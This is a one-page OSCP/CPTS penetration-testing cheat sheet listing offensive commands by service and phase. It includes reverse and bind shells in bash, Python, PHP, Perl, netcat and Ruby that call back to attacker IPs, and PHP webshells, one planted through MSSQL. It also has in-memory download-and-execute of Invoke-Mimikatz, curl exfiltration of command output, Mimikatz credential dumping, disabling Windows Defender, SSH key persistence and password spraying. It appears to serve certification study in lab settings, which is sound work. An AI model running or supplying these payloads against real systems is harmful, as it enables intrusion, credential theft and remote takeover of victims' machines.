OSCP/CPTS One Page
Wordlist
# Wordlist
# WEB
/usr/share/wordlists/dirb/common.txt
/usr/share/dirb/wordlists/big.txt
# Passwords
/usr/share/wordlists/rockyou.txt
# Usernames
/usr/share/wordlists/dirb/others/names.txt
# Extensions (used for web directories bruteforce)
txt, pdf, config
# Passwords Leak
https://scatteredsecrets.com
https://weleakinfo.io
https://haveibeenpwned.com
# Hashcat rules
/usr/share/hashcat/rules/
# Precomplied binaries for Windows
/usr/share/windows-resources/
Cheat Sheet
https://github.com/bryanqb07/oscp_notes
Scenarios
# File Read
/home/user/.ssh/id_rsa
/home/user/.ssh/id_ecdsa
Troubleshooting
# VPN issue with RDP
sudo ifconfig tun0 mtu 1250
https://help.offsec.com/hc/en-us/articles/360046293832-Common-VPN-and-Machine-VM-Issues
Ressources
https://gtfobins.github.io
https://lolbas-project.github.io
https://wadcoms.github.io
https://swisskyrepo.github.io/InternalAllTheThings
https://ippsec.rocks
https://www.netexec.wiki/
Useful commands
Windows & AD
# Bypass the execution policy in PS
powershell -ep bypass
# Powershell command using to disable real time monitoring in Windows Defender
Set-MpPreference -DisableRealtimeMonitoring $true
# Disable Powershell ExecutionPolicy
Set-ExecutionPolicy Unrestricted
Get-ExecutionPolicy
# Verifying if Credential Guard is enabled : DeviceGuardSecurityServicesConfigured, DeviceGuardSecurityServicesRunning
Get-ComputerInfo
# Decrypt GPP AES-256 encrypted password
gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE"
# Domain account policy
net accounts
Service Scanning
# Run an nmap script scan on an IP
nmap -sV -sC -p- 10.129.42.253
# List various available nmap scripts
locate scripts/citrix
# Run an nmap script on an IP
nmap --script smb-os-discovery.nse -p445 10.10.10.40
# Grab banner of an open port
netcat 10.10.10.10 22
# List SMB Shares
smbclient -N -L \\\\10.129.42.253
# Connect to an SMB share
smbclient \\\\10.129.42.253\\users
# Scan SNMP on an IP
snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0
# Brute force SNMP secret string
onesixtyone -c dict.txt 10.129.42.254
Web Enumeration
# Run a directory scan on a website
gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt
# Run a sub-domain scan on a website
gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt
# Grab website banner
curl -IL https://www.inlanefreight.com
# List details about the webserver/certificates
whatweb 10.10.10.121
# List potential directories in robots.txt
curl 10.10.10.121/robots.txt
Public Exploits
# Search for public exploits for a web application
searchsploit openssh 7.2
# MSF: Search for public exploits in MSF
search exploit eternalblue
# MSF: Start using an MSF module
use exploit/windows/smb/ms17_010_psexec
# MSF: Show required options for an MSF module
show options
# MSF: Set a value for an MSF module option
set RHOSTS 10.10.10.40
# MSF: Test if the target server is vulnerable
check
# MSF: Run the exploit on the target server is vulnerable
exploit
Using Shells
# Start a nc listener on a local port
nc -lvnp 1234
# Send a reverse shell from the remote server
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'
# Another command to send a reverse shell from the remote server
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f
# Start a bind shell on the remote server
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f
# Connect to a bind shell started on the remote server
nc 10.10.10.1 1234
# Create a webshell php file
echo "<?php system(\$_GET['cmd']);?>" > /var/www/html/shell.php
# Execute a command on an uploaded webshell
curl http://SERVER_IP:PORT/shell.php?cmd=id
Privilege Escalation
# List available sudo privileges
sudo -l
# Run a command with sudo
sudo -u user /bin/echo Hello World!
# Switch to root user (if we have access to sudo su)
sudo su -
# Switch to a user (if we have access to sudo su)
sudo su user -
# Create a new SSH key
ssh-keygen -f key
# Add the generated public key to the user
echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keys
# SSH to the server with the generated private key
ssh root@10.10.10.10 -i key
Transferring Files
# Convert a file to base64
base64 shell -w 0
# Convert a file from base64 back to its origin
echo f0VMR...SNIO...InmDwU | base64 -d > shell
# Check the file's md5sum to ensure it converted correctly
md5sum shell
Tcpdump
# Filter output with the source, destination and port
sudo tcpdump -n src host 172.16.40.10 -r password_cracking_filtered.pcap
sudo tcpdump -n dst host 172.16.40.10 -r password_cracking_filtered.pcap
sudo tcpdump -n port 81 -r password_cracking_filtered.pcap
Mimikatz
# Enable SeDebugPrivilege access right
privilege::debug
# Elevate to SYSTEM user privileges
token::elevate
# Extract Passwords/Hashes from the system
sekurlsa::logonpasswords
lsadump::sam
OOB
# start upload server
python3 -m uploadserver 8080
# Send output of a command to attacker
command &> /tmp/output; curl --data @/tmp/output http://127.0.0.1:8080/upload
# monitor trafic on localhost port 8080
sudo tcpdump -nvvvXi lo tcp port 8080
Information Gathering
Passive Information Gathering
# gathering basic information about a domain name
whois megacorpone.com -h 192.168.0.1
# reverse lookup
whois 38.200.0.1 -h 192.168.0.1
# Google Hacking
https://www.exploit-db.com/google-hacking-database
https://dorksearch.com
https://ahrefs.com/blog/google-advanced-search-operators/
# Netcraft
https://searchdns.netcraft.com
# Open-Source Code
https://github.com/gitleaks/gitleaks
https://github.com/michenriksen/gitrob
# Shodan
ssl:hostname:megacorpone.com
hostname:megacorpone.com
# Security Headers and SSL/TLS
https://securityheaders.com
https://www.ssllabs.com
# Github
trufflehog git https://github.com/trufflesecurity/test_keys
Infrastructure-based Enumeration
# ASN/IP registrars : IANA, arin (Americas), RIPE (Europe), BGP Toolkit
# Domain Registrars & DNS : PTRArchive, ICANN, viewdns.info, whois.domaintools.com
# Breach Data Sources : HaveIBeenPwned, Dehashed
# Certificate Transparency
curl -s https://crt.sh/\?q\=domain.com\&output\=json | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u
# grep for accessible subdomains
for i in $(cat subdomainlist);do host $i | grep "has address" | grep domain.com | cut -d" " -f1,4;done
# Scan each IP address in a list using Shodan
for i in $(cat ip-addresses.txt);do shodan host $i;done
# Cloud Resources
https://domain.glass
https://buckets.grayhatwarfare.com
# Google dorking
intext:domain.com inurl:blob.core.widows.net
intext:domain.com inurl:amazonaws.com
LLM-Powered Passive Information Gathering
- Can you print out all the public information about company structure and employees of inlanefreight?
- Can you provide the best 20 google dorks for inlanefreight.com website tailored for a penetration test
- Retrieve the technology stack of the inlanefreight.com website
Active Information Gathering
# TCP port scan with nc
nc -nvv -w 1 -z 10.0.0.1 440-450
# UDP port scan with nc
nc -nv -u -z -w 1 10.0.0.1 120-123
# TCP port scan with PS
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.0.0.1", $_)) "TCP port $_ is open"} 2>$null
Network Enumeration
Ping Sweep
# Ping Sweep For Loop on Linux
for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done
# Ping Sweep For Loop Using CMD
for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"
# Ping Sweep Using PowerShell
1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}
# Scan network range for open port 445
for i in $(seq 1 254); do nc -zv -w 1 172.16.5.$i 445; done
# Ping Sweep metasploit
run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23
Scan Network Range
sudo nmap 10.10.0.0/24 -sn -oA tnet | grep for | cut -d" " -f5
sudo nmap -v -sn 10.10.2.1-253 -oG sweep.txt ; grep Up sweep.txt | cut -d " " -f 2
Convert nmap XML report to HTML
xsltproc target.xml -o target.html
ACK-Scan
sudo nmap 10.10.0.1 -p 21 -sA -Pn -n
Scan by Using Decoys
sudo nmap 10.129.2.28 -p 80 -sS -Pn -n -D RND:5
Scan by Using Different Source IP
sudo nmap 10.10.0.1 -S 10.129.2.200 -e tun0 -Pn -n --disable-arp-ping --packet-trace
SYN-Scan From DNS Port
sudo nmap 10.10.0.1 -p22 -sS --source-port 53 -Pn -n --disable-arp-ping
Protocols & Services
FTP / 21
# Interact with the FTP service on the target.
ftp <FQDN/IP>
nc -nv <FQDN/IP> 21
telnet <FQDN/IP> 21
# Interact with the FTP service on the target using encrypted connection.
openssl s_client -connect <FQDN/IP>:21 -starttls ftp
# Download all available files on the target FTP server.
wget -m --no-passive ftp://anonymous:anonymous@<target>
# Brute Forcing avec Medusa
medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp
# FTP Bounce Attack
nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2
SMB / 139 , 445
# SMB scan with nmap
nmap -v -p 139,445 --script smb* 192.168.10.0
# Collect NetBIOS information with nbtscan
sudo nbtscan -r 192.168.10.0/24
# Enumerating SMB shares using null session authentication.
crackmapexec smb <IP> --shares -u '' -p ''
smbclient -N -L //<IP>
smbclient //<IP>/<share> # Connect to a specific SMB share.
smbmap -H <IP> -r # -r ou -R for récursive
smbmap -H <IP> --download "notes\note.txt" # to download a file
# Interaction with the target using RPC.
rpcclient -U "" <FQDN/IP>
srvinfo # Server information.
enumdomains # Enumerate all domains that are deployed in the network.
querydominfo # Provides domain, server, and user information of deployed domains.
netshareenumall # Enumerates all available shares.
netsharegetinfo <share> # Provides information about a specific share.
enumdomusers # Enumerates all domain users.
queryuser <RID> # Provides information about a specific user.
# Username enumeration using Impacket scripts.
samrdump.py <FQDN/IP>
# SMB enumeration using enum4linux.
enum4linux-ng.py <FQDN/IP> -A -C
# List remote shares with 'net view'
net view \\dc01 /all
# Interacting with SMB using CMD
C:\htb> dir \\192.168.220.129\Finance\
C:\htb> net use n: \\192.168.220.129\Finance /user:plaintext Password123
C:\htb> dir n: /a-d /s /b # list all files in n:
C:\htb> dir n: /a-d /s /b # search for specific names in files
c:\htb> findstr /s /i cred n:\*.* # search for a specific word within a file
# Interacting with SMB using PowerShell
Get-ChildItem \\192.168.220.129\Finance\
# Authenticate to a share
$username = 'us3r'
$password = 'P@sswd'
$secpassword = ConvertTo-SecureString $password -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential $username, $secpassword
New-PSDrive -Name "N" -Root "\\10.10.0.9\Finance" -PSProvider "FileSystem" -Credential $cred
# Search for specific names in files
Get-ChildItem -Recurse -Path N:\ -Include *cred* -File
# Search for a specific word within a file
Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List
# Interacting with SMB using Linux
sudo mount -t cifs -o username=us3r,password=P@sswd,domain=. //10.10.0.9/Finance /mnt/Finance
# Connect to a remote machine with a local administrator : impacket-smbexec, impacket-atexec
impacket-psexec administrator:'Password123!'@10.10.110.17
use exploit/windows/smb/psexec
smbclient \\\\10.10.110.17\\secrets -U Administrator --pw-nt-hash <NTLMhash>
# Execute command with cme
crackmapexec smb 10.10.1.2 -u Administrator -p 'P@sswd' -x 'whoami' --exec-method smbexec
# Metasploit exploit module used to check if a host is vulnerable to ms17_010
use auxiliary/scanner/smb/smb_ms17_010
# Metasploit exploit module used to exploit a host if is vulnerable to ms17_010
use exploit/windows/smb/ms17_010_psexec
# CVE-2020-0796 "SMBGhost"
NFS / 2049
# Nmap
sudo nmap --script nfs* <FQDN/IP> -sV -p111,2049
# Show available NFS shares.
showmount -e <FQDN/IP>
# Mount the specific NFS share to ./target-NFS
sudo mount -t nfs <FQDN/IP>:/<share> ./target-NFS/ -o nolock
# Unmount the specific NFS share.
umount ./target-NFS
DNS / 53
# ANY request to the specific nameserver.
dig any domain.htb @<nameserver>
# AXFR request to the specific nameserve AKA DNS Zone Transfer
dig axfr domain.htb @<nameserver>
fierce --domain zonetransfer.me
# Automate A,AAAA,MX,HINFO,CNAME,NS,SOA,TXT,DNSKEY,AXFR,PTR requests
dnsrecon -d domain.htb -t std
dnsenum domain.htb
for type in A AAAA MX HINFO CNAME NS SOA TXT DNSKEY AXFR PTR; do echo -e "\n=== $type Records ==="; host -t $type domain.htb; done
"A","AAAA","MX","HINFO","CNAME","NS","SOA","TXT","DNSKEY","AXFR","PTR" | ForEach-Object { Write-Host "=== $_ Records ==="; nslookup -type="$_" domain.htb }
# Subdomain brute forcing.
dnsrecon -d domain.htb -D ./wordlist.txt -t brt
dnsenum --dnsserver <nameserver> --enum -p 0 -s 0 -o subs.txt -f ~/wordlist.txt domain.htb
subbrute domain.htb -s ./wordlist.txt -r ./resolvers.txt
for sub in $(cat wordlist.txt);do dig $sub.domain.htb @10.1.1.1 | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subs.txt;done
for sub in $(cat wordlist.txt); do host $sub.domain.htb; done
# If PTR records configured we can do reverse lookups
for ip in $(seq 1 254); do host 51.10.10.$ip; done | grep -v "not found"
# DNS spoofing AKA DNS Cache Poisoning
# Change etter.dns file and run ettercap. set target 1 (cible) and target 2 (gateway) and activate dns_spoof plugin
cat /etc/ettercap/etter.dns
inlanefreight.com A 192.168.225.110 # Attacker IP
*.inlanefreight.com A 192.168.225.110
Email Services : SMTP : 25,465,587 / IMAP4 : 143,993 / POP3 : 110,995
sudo nmap -Pn -sV -sC -p25,143,110,465,587,993,995 <IP>
# SMTP : 25,465,587
telnet <IP> 25
# VRFY, EXPN, RCPT TO : can be used to enumerate valid usernames
smtp-user-enum -M RCPT -U userlist.txt [-D inlanefreight.htb] -t <IP>
# Password Attack : SMTP, POP3, IMAP4
hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3
# Open Relay
nmap -p25 -Pn --script smtp-open-relay <IP>
swaks --from notif@domain.com --to employees@domain.com --header 'Subject: Company Notif' --body 'Hi All, Test message' --server 10.10.1.1
# IMAP4 : 143,993
# use Evolution for GUI
# Log in to the IMAPS service using cURL.
curl -k 'imaps://<FQDN/IP>' --user <user>:<password>
# Connect to the IMAPS service.
openssl s_client -connect <FQDN/IP>:imaps
# IMAPS Commands examples
1 LOGIN username password # User's login.
1 LIST "" * # Lists all directories.
1 CREATE "INBOX" # Creates a mailbox with a specified name.
1 DELETE "INBOX" # Deletes a mailbox.
1 RENAME "ToRead" "Important" # Renames a mailbox.
1 LSUB "" * # Returns a subset of names from the set of names that the User has declared as being active or subscribed.
1 SELECT INBOX # Selects a mailbox
1 UNSELECT INBOX # Exits the selected mailbox.
1 FETCH <ID> all # Retrieves data associated with a message in the mailbox.
1 CLOSE # Removes all messages with the Deleted flag set.
1 LOGOUT # Closes the connection with the IMAP server.
# POP3 : 110,995
# Connect to the POP3s service.
openssl s_client -connect <FQDN/IP>:pop3s
# POP3s Commands examples
USER username # Identifies the user : can be used for user enum
PASS password # Authentication of the user using its password.
STAT # Requests the number of saved emails from the server.
LIST # Requests from the server the number and size of all emails.
RETR id # Requests the server to deliver the requested email by ID.
DELE id # Requests the server to delete the requested email by ID.
CAPA # Requests the server to display the server capabilities.
RSET # Requests the server to reset the transmitted information.
QUIT # Closes the connection with the POP3 server.
# Cloud Enumeration
# Username enumeration and password spraying (o365spray, MailSniper, CredKing)
./o365spray.py --enum -U users.txt --domain msplaintext.xyz
./o365spray.py --spray -U users.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz
SNMP / 161 UDP
# SNMP with nmap
sudo nmap -sU --open -p 161 192.168.0.1-254 -oG open-snmp.txt
# Bruteforcing community strings of the SNMP service.
onesixtyone -c community-strings.list <FQDN/IP>
nmap -sU <FQDN/IP> -p 161 --script=snmp-brute -Pn --script-args snmp-brute.communitiesdb=snmp.txt
# Querying OIDs using snmpwalk.
snmpwalk -v2c -c <community string> <FQDN/IP>
snmpwalk -c public -v1 -t <FQDN/IP>
# Bruteforcing SNMP service OIDs.
braa <community string>@<FQDN/IP>:.1.*
# Using snmpwalk to enumerate Windows users
snmpwalk -c public -v1 192.168.50.1 1.3.6.1.4.1.77.1.2.25
# Using snmpwalk to enumerate Windows processes
snmpwalk -c public -v1 192.168.50.1 1.3.6.1.2.1.25.4.2.1.2
1.3.6.1.2.1.25.1.6.0 # System Processes
1.3.6.1.2.1.25.4.2.1.2 # Running Programs
1.3.6.1.2.1.25.4.2.1.4 # Processes Path
1.3.6.1.2.1.25.2.3.1.4 # Storage Units
1.3.6.1.2.1.25.6.3.1.2 # Software Name
1.3.6.1.4.1.77.1.2.25 # User Accounts
1.3.6.1.2.1.6.13.1.3 # TCP Local Ports
MySQL / 3306
# Login to the MySQL server.
mysql -u username -pPassword123 -h <FQDN/IP> # Linux
mysql.exe -u username -pPassword123 -h <FQDN/IP> # Windows
# GUI Application for MSSQL, MySQL, PostgreSQL
dbeaver &
MSSQL / 1433
# Banner Grabbing
nmap -Pn -sV -sC -p1433 10.10.10.125
# MSSQL Ping in Metasploit
auxiliary/scanner/mssql/mssql_ping
# NMAP MSSQL Script Scan
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP/FQDN>
IPMI / 623 UDP
# Nmap
sudo nmap -sU --script ipmi-version -p 623 IP
# IPMI version detection.
msf6 auxiliary(scanner/ipmi/ipmi_version)
# Dump IPMI hashes.
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes)
Linux Remote Management
# Remote security audit against the target SSH service.
ssh-audit.py <FQDN/IP>
# Log in to the SSH server using the SSH client : -v optional for verbosity
ssh [-v] <user>@<FQDN/IP>
# Log in to the SSH server using private key.
ssh -i private.key <user>@<FQDN/IP>
# Enforce password-based authentication.
ssh <user>@<FQDN/IP> -o PreferredAuthentications=password
# Scanning for Rsync
sudo nmap -sV -p 873 <FQDN/IP>
# Probing for Accessible Shares
nc -nv <FQDN/IP> 873
# Enumerating an Open Share
rsync -av --list-only rsync://127.0.0.1/dev
# Sync the file to attack host
rsync -av rsync://127.0.0.1/dev
RDP / 3389
# Nmap
nmap -sV -sC 10.129.201.248 -p3389 --script rdp*
# Check the security settings of the RDP service.
rdp-sec-check.pl <FQDN/IP>
# Log in to the RDP server from Linux.
xfreerdp /u:<user> /p:"<password>" /v:<FQDN/IP>
rdesktop -u user <FQDN/IP>
# Password spraying
hydra -L users.txt -p 'password123' 192.168.2.143 rdp
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# RDP Session Hijacking
# We need SYSTEM privileges for this to work
query user
tscon {TARGET_SESSION_ID} /dest:{OUR_SESSION_NAME}
# Admin priv to SYSTEM priv by creating a service / no longer works on Server 2019
sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"
net start sessionhijack
# CVE-2019-0708 BlueKeep https://github.com/RICSecLab/CVE-2019-0708
WinRM / 5985
# Log in to the WinRM server.
# Windows PS
Test-WSMan <FQDN/IP>
# Linux
evil-winrm -i <FQDN/IP> -u <user> -p <password>
# Execute command using the WMI service.
wmiexec.py <user>:"<password>"@<FQDN/IP> "<system command>"
Oracle TNS / 1521
# Perform a variety of scans to gather information about the Oracle database services and its components.
./odat.py all -s <FQDN/IP>
# Log in to the Oracle database.
sqlplus <user>/<pass>@<FQDN/IP>/<db>
# Upload a file with Oracle RDBMS.
./odat.py utlfile -s <FQDN/IP> -d <db> -U <user> -P <pass> --sysdba --putFile C:\\insert\\path file.txt ./file.txt
MSSQL
MSSQL uses ports TCP/1433 and UDP/1434
Interacting with MSSQL
mssqlclient.py -p 1433 user@<ip>
mssqlclient.py <user>@<FQDN/IP> -windows-auth # connect using Windows Auth
sqsh -S <ip> -U user -P P@sswd -h
sqsh -S <ip> -U .\\user -P 'P@sswd' -h # Windows Auth local account
sqlcmd.exe -S <ip> -U user -P P@sswd -y 30 -Y 30
SQL Syntax
# Show Databases
SELECT name FROM master.dbo.sysdatabases
# Select a Database
USE htbusers
# Show Tables
SELECT table_name FROM htbusers.INFORMATION_SCHEMA.TABLES
# Select all Data from Table "users"
SELECT * FROM users
Execute Commands
# Commands execution using xp_cmdshell
# Enable xp_cmdshell / GO after each command
EXECUTE sp_configure 'show advanced options', 1
RECONFIGURE
EXECUTE sp_configure 'xp_cmdshell', 1
RECONFIGURE
EXECUTE xp_cmdshell 'whoami'
Read & Write Local Files
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE
sp_configure 'Ole Automation Procedures', 1
RECONFIGURE
# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
GO
# Read Local Files
# By default, MSSQL allows file read on any file in the operating system to which the account has read access
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
Capture MSSQL Service Hash
# Run responder OR impacket-smbserver
# XP_DIRTREE and XP_SUBDIRS Hash Stealing for the user mssqlsvc
EXEC master..xp_dirtree '\\10.10.110.17\share\'
EXEC master..xp_subdirs '\\10.10.110.17\share\'
Impersonate Existing Users with MSSQL
# Identify Users that We Can Impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
GO
# Verifying our Current User and Role
EXECUTE AS LOGIN = 'sa' // recommended to run it within the master DB
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
go
# To revert the operation
REVERT
Linked Database
# Identify linked Servers in MSSQL : 1 = remote server ; 0 = linked server
SELECT srvname, isremote FROM sysservers
# send pass-through commands to the linked servers
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
File Transfers
Windows
Download a file with PowerShell
Invoke-WebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1
Invoke-WebRequest -Uri "https://<snip>/PowerView.ps1" -OutFile "PowerView.ps1"
(New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
iwr -uri https://<snip>/PowerView.ps1 -Outfile PowerView.ps1
Execute a file in memory using PowerShell
IEX (New-Object Net.WebClient).DownloadString('https://<snip>/Invoke-Mimikatz.ps1')
Upload a file with PowerShell
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\file' -Encoding Byte))
Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64
# Attacker machine
nc -lvnp 8000
echo <base64> | base64 -d -w 0 > hosts
Upload a file with PowerShell using uploadserver
# start Upload server on port 4444
python3 -m uploadserver 4444
raven
# Past PSUpload.ps1 script into PowerShell or download it
https://raw.githubusercontent.com/juliourena/plaintext/refs/heads/master/Powershell/PSUpload.ps1
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
# Upload the file
Invoke-FileUpload -Uri http://<IP>:<Port>/upload -File C:\file
File Transfers with Powercat
. .\powercat.ps1
iex (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
sudo nc -lnvp 443 > receiving_powercat.ps1
powercat -c 10.11.0.4 -p 443 -i C:\Users\powercat.ps1
Invoke-WebRequest using a Chrome User Agent
Invoke-WebRequest http://<snip>/nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe"
File transfer using SMB
# Create the SMB Server using smbserver.py
sudo impacket-smbserver share -smb2support /tmp/smbshare
# Copy a File from the SMB Server
C:\user> copy \\192.168.220.133\share\nc.exe
# Create the SMB Server with a Username and Password
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
# Copy a File from the SMB Server
C:\user> net use n: \\192.168.220.133\share /user:test test
C:\user> copy n:\nc.exe
Download a file using FTP
sudo python3 -m pyftpdlib --port 21
C:\user> (New-Object Net.WebClient).DownloadFile('ftp://<IP>/file.txt', 'C:\ftp.txt')
Upload a file using FTP
sudo python3 -m pyftpdlib --port 21 --write
# PowerShell Upload File
C:\user> (New-Object Net.WebClient).UploadFile('ftp://<IP>/ftp.txt', 'C:\file.txt')
File transfer with base64 encoding
# Download
# Check file md5 hash
md5sum id_rsa
# Encode file to Base64
cat id_rsa |base64 -w 0;echo
# Copy and past the content in PS
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("..base64content.."))
# Confirming the MD5 Hashes Match
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5
# Upload
# Encode file to Base64
C:\user> [Convert]::ToBase64String((Get-Content -path "C:\file" -Encoding byte))
# Check file md5 hash
Get-FileHash "C:\file" -Algorithm MD5 | select Hash
# Copy and past the content
echo ..base64encode.. | base64 -d > file
# Confirming the MD5 Hashes Match
md5sum hosts
File transfer with WebDav
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
# Dwonload
C:\user> dir \\192.168.49.128\DavWWWRoot
# Upload
C:\user> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\
Download a file using JavaScript and cscript.exe
# creat a file called wget.js
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
# Download a file using cscript.exe
cscript.exe /nologo wget.js https://path/PowerView.ps1 PowerView.ps1
File transfer using WinRM
# Create a PowerShell Remoting Session to DATABASE01
$Session = New-PSSession -ComputerName DATABASE01
# Copy samplefile.txt from our Localhost to the DATABASE01 Session
Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\
# Copy DATABASE.txt from DATABASE01 Session to our Localhost
Copy-Item -Path "C:\DATABASE.txt" -Destination C:\ -FromSession $Session
File transfer with RDP
# Mounting a Linux Folder Using rdesktop
rdesktop <IP> -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/'
# Mounting a Linux Folder Using xfreerdp
xfreerdp /v:<IP> /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/
Download a file using Bitsadmin
bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe
Download a file using Certutil
certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe
Linux
Download a file using Wget / cURL / PHP
wget https://path/LinEnum.sh -O /tmp/LinEnum.sh
curl -o /tmp/LinEnum.sh https://path/LinEnum.sh
php -r '$file = file_get_contents("https://<snip>/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
File transfer with SCP
# Upload
scp C:\Temp\bloodhound.zip user@10.10.10.150:/tmp/bloodhound.zip
# Download
scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe
File Transfer with Netcat and Ncat
# NetCat - Compromised Machine - Listening on Port 8000
nc -l -p 8000 > SharpKatz.exe
# Netcat - Attack Host - Sending File to Compromised machine
nc -q 0 <IP> 8000 < SharpKatz.exe
# Ncat - Compromised Machine - Listening on Port 8000
ncat -l -p 8000 --recv-only > SharpKatz.exe
# Ncat - Attack Host - Sending File to Compromised machine
ncat --send-only <IP> 8000 < SharpKatz.exe
# Attack Host - Sending File as Input to Netcat
sudo nc -l -p 443 -q 0 < SharpKatz.exe
# Compromised Machine Connect to Netcat to Receive the File
nc <IP> 443 > SharpKatz.exe
# Attack Host - Sending File as Input to Ncat
sudo ncat -l -p 443 --send-only < SharpKatz.exe
# Compromised Machine Connect to Ncat to Receive the File
ncat <IP> 443 --recv-only > SharpKatz.exe
# Compromised Machine Connecting to Netcat Using /dev/tcp to Receive the File
cat < /dev/tcp/<IP>/443 > SharpKatz.exe
File Transfer with Socat
sudo socat TCP4-LISTEN:443,fork file:secret_passwords.txt
socat TCP4:10.11.0.4:443 file:received_secret_passwords.txt,create
Creating a Web Server
# Python3
python3 -m http.server 8000
# PHP
php -S 0.0.0.0:8000
# Ruby
ruby -run -ehttpd . -p8000
Shells, Payloads & Exploit
Shells and Payloads
# Netcat Bind Shell
nc -nlvp 4444 -e cmd.exe
nc -nv 10.11.0.22 4444
# Netcat Reverse Shell
nc -nlvp 4444
nc -nv 10.11.0.22 4444 -e /bin/bash
# Different commands used to get reverse shell : https://www.revshells.com
Bash : bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Python : python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP : php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
PERL : perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Netcat : nc -e /bin/sh 10.0.0.1 1234
Netcat : rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Ruby : ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
